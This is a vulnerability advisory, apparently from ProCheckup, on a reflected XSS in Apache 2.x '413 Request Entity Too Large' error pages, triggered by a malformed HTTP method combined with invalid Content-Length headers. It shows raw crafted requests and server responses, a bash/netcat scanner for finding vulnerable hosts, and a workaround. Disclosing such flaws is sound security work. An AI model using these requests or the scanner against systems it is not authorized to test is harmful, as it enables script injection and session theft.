A vulnerability in the way Apache handles malformed requests, specifically when it answers with an error code of 413 allows remote attackers to inject arbitrary HTML and/or JavaScript into the response received from the server.
Header injection has been demonstrated to be possible using Flash [1] [2], but might be dependent on vulnerable Flash plugins. A relevant example published in the past is exploiting the Apache 'Expect' XSS [3] (CVE-2006-3918) using flash [4]. However, in this case we need to spoof the HTTP METHOD to a specially-crafted value.
Vulnerable Systems:
* Apache version 2.0.46 (Red Hat)
* Apache version 2.0.51 (Fedora)
* Apache version 2.0.55 (Ubuntu) PHP/5.1.6
* Apache version 2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g
* Apache version 2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2
* Apache version 2.2.4 (Linux/SUSE)
It is possible to cause Apache HTTP server to return client-supplied scripting code by submitting a malformed HTTP method which would actually carry the payload (i.e.: malicious JavaScript) and invalid length data in the form of either of the following:
* Two 'Content-length:' headers equals to zero. i.e.: "Content-Length: 0[LF]Content-Length: 0"
* One 'Content-length:' header equals to two values. i.e.: "Content-length: 0, 0"
* One 'Content-length:' header equals to a negative value. i.e.: "Content-length: -1"
* One 'Content-length:' header equals to a large value. i.e.: "Content-length: 9999999999999999999999999999999999999999999999"
Apache 2.X returns a '413 Request Entity Too Large' error, when submitting invalid length data. When probing for XSS on the error page returned by the server we have 3 possible string vectors:
* The 'Host:' header
* The URL
* The HTTP method
If we probe for XSS using the 'Host:' header, Apache correctly filters the angle brackets and replaces them with HTML entities:
REQUEST: GET / HTTP/1.1
Host: <BADCHARS>
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S REPONSE: HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:40:19 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at <badchars> Port 80</address>
</body></html>
Notice that '<BADCHARS>' gets replaced with '<badchars>'
If we probe for XSS using the URL, Apache ALSO correctly filters the angle brackets and replaces them with HTML entities:
REQUEST: GET /<BADCHARS>/ HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S RESPONSE: HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:41:17 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<BADCHARS>/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>
Again, '<BADCHARS>' gets replaced with '<badchars>'
However, if we probe for XSS using a malformed HTTP method, the angle brackets are NOT replaced with HTML entities:
REQUEST: <BADCHARS> / HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S RESPONSE: HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:42:46 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with <BADCHARS> requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>
Exploit:
The following script could be used to audit your network for vulnerable web servers:
#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
echo "$0 <hosts-file>"
exit
fi
for i in `cat $1`
do
if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep -i '<PROCHECKUP>' > /dev/null
then
echo "$i is VULNERABLE!"
fi
done
Consequences:
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. session IDs) to unauthorized third parties provided that a web browser is tricked to submit a malformed HTTP method.
Workaround:
Disable Apache's default 413 error pages by adding 'ErrorDocument 413' statement to the Apache config file.